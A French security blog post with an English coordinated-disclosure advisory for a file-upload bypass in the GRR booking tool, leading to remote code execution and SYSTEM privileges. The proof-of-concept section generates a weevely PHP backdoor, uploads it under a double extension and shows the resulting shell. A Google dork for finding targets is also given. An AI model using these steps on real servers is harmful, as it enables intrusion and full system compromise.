Nouvelle année, nouveaux ponçages et comme j'ai l'impression que nombres de vulns encore présentes ne devraient plus l'être depuis longtemps, je me permet un petit retour sur un de mes récents advisory.
En effet, il est question ici d'un cas d'école que j'ai eu le plaisir de découvrir récemment sur un outils de réservation de salles... en fait on pourrait se dire "ouai super.. so what!??"
Mais lorsque cet outil vous permet de pwn une infra lors d'un pentest et de plus est présent sur TOUTES les versions de cette application utilisée par nombre d'institutions notamment FR, je pense qu'il peut être pertinent d'en parler.
Toutefois et avant de rentrer dans la vuln + l'advisory lui-même je tiens à remercier les personnes maintenant ce projet open source avec qui j'ai pu échanger afin de permettre de travailler sur un correctif de sécurité qui sera donc backporté et inclu dans la future version de l'application.
Vous trouverez les ressources nécéssaires en fin d'article comme d'habitude sur le blog.
Assez parler place aux détails! :D
Ici tout d'abord le code vulnérable se trouvant dans le fichier "admin/admin_config1.php" du projet GRR ainsi que son lien direct vers pastebin.com:
Bon comme vous pourrez le constater les parties intéréssantes sont déjà commentées expliquant ainsi les grandes lignes de ce qui nous intéresse.
On identifie ici 3 problèmes sur ce code:
1- On peu bypass le filtre d'upload car ce dernier n'effectue qu'un seul test: l'extension!
Ainsi une double extension (backdoor.php.png) permet de contourner cela aisément
2- Ce super script php sorti tout droit des années 90' nous permet de déterminer le noms qu'aura notre backdoor ainsi que son chemin.
En effet, le script va simplement supprimer la seconde extension et comme il effectue un explode() sur notre fichier afin de récupérer ce qui se situe derrière notre ".", il va le renommer en "logo.php" car le 2ème élément du tableau "$tab" sera bel et bien notre extension... php ou autre par ailleurs ;-).
3- Ici c'est la petite touche finale: le fichier sensé être un logo se retrouve "chmod 666" (RW pour tout le monde) ce qui permet en prime d'obtenir les droits nécéssaires.
En effet, pour peu que les droits soient bien gérés il serait difficile de faire exécuter ce que l'on souhaite, hors la tout est possible, on peux même grâce à cela obtenir des privilèges largements supérieurs à ceux attendus chose que j'ai pu tester et surtout réussir en gagnant ainsi les droits NT Authority\System sur un environnement Microsoft de manière triviale!
Vous l'aurez compris, c'est assez easy à exploiter sous condition toutefois d'avoir des privilèges au départ afin de pouvoir modifier le logo en question (ce qui m'a été possible via une SQLI sur une application tierce mais qui par ailleurs ne me permettait pas d'obtenir de shell... ce qui fût donc réglé grâce au GRR présent).
Je vous laisse ici le soin de lire l'advisory en question ainsi que les différents liens concernant ce dernier.
Ce fût court et assez faiblement technique mais il est vrai que ce genre de vuln existe encore alors autant les étudiers car comem dis en début d'article: ce sont des cas d'écoles que l'on ne devrait même plus trouver hélas!!
=================================================================================================
Public Advisory
Title: GRR <= 3.0.0-RC1 (all versions) file upload filter bypass (authenficated) + privilege escalation(in some case)
Date: January 7th, 2016
Vendor Homepage: http://grr.devome.com/fr/
Software Link: GRR project
Dork: inurl:/grr/ intext:réservation intitle:"GRR"
CVSS score: 9.9
OVE ID: OVE-20160705-0044
CVE ID: CVE-2016-1000300
I. APPLICATION
======================================================================================
GRR is an open source resources manager tool used in many french public
institutions (not only!).
It permit for example to manage rooms reservations, and so much more.
II. ADVISORY
======================================================================================
The application allows administrators to change the enterprise's logo
uploading a new image with .png,.jpg or .gif extension only.
Once uploaded, image name is "splitted" in an array and renamed with the
name "logo" followed by the extention saved as 2nd array's element.
This file called for example "logo.jpg" is also "chmoded" as 0666 permission
and directly accessible in image folder (img_grr by default) by all users.
Besides, the application does only a basic conditional php test
on the extension of the uploaded file.
It's possible for an attacker to add a second extension that will be
used when the image will be renamed in order to bypass this basic filter
(double extension upload filter bypassing).
So, a file called backdoor.php.jpg will be renamed as logo.php with
chmod 0666 permissions and could be used by attacker to gain more privileges
on the targeted server (privesc due to bad file permissions and RCE).
To trigger this vulnerability it is necessary to have an administrator
account on the GRR application.
This vulnerability is a combination of 3 issues:
- - predictable uploaded file names and path
- - upload of any kind of file
- - bad files permission when we upload this file that permit us to gain privilegied access.
Note that it could be "dorkable" in order to find targets ... and sometimes
with trivial admin credentials ;-).
III. PROOF OF CONCEPT
======================================================================================
Generate backdoor:
kmkz@Tapz:~# weevely generate pass123 /tmp/3lrvs.php
Generated backdoor with password 'pass123' in '/tmp/3lrvs.php' of 1486 byte size.
kmkz@Tapz:~# mv /tmp/3lrvs.php /tmp/3lrvs.php.jpg
Login as admin and upload this new 'logo' > Administration > logo
Enjoy your shell!
kmkz@Tapz:~# weevely http://laboratoire.target.fr/images/logo.php pass123
[+] weevely 3.2.0
[+] Target: laboratoire.target.fr:F:\server\grr\images
[+] Session: /kmkz/.weevely/sessions/laboratoire.target.fr/logo_1.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> whoami
autorite nt\system
IV. RISK
======================================================================================
By uploading a script, an attacker may be able to execute arbitrary code
on the server with elevated privileges.
This flaw may compromise the integrity of the system
(with access to sensitive informations, network shares...) and it may conduce
to full information system's compromission using pivots techniques and imagination!
V. VERSIONS AFFECTED
======================================================================================
GRR 3.0.0-RC1 is vulnerable (and all previous versions)
VI. TIMELINE
======================================================================================
December 17th, 2015: Vulnerability identification
January 7th, 2016: Vendor and project developers notification
January 11th, 2016: Project developers response
January 15th, 2016: Patch release
January 17th, 2016: Public disclosure
======================================================================================
Projet GRR
Git Hub du projet contenant le fix
Publication de Nicolas Bouteiller (contributeur/dev de la prochaine version GRR)
So now, update your GRR install ;-)
A bientôt pour de nouvelles aventures !!!
Aucun commentaire:
Enregistrer un commentaire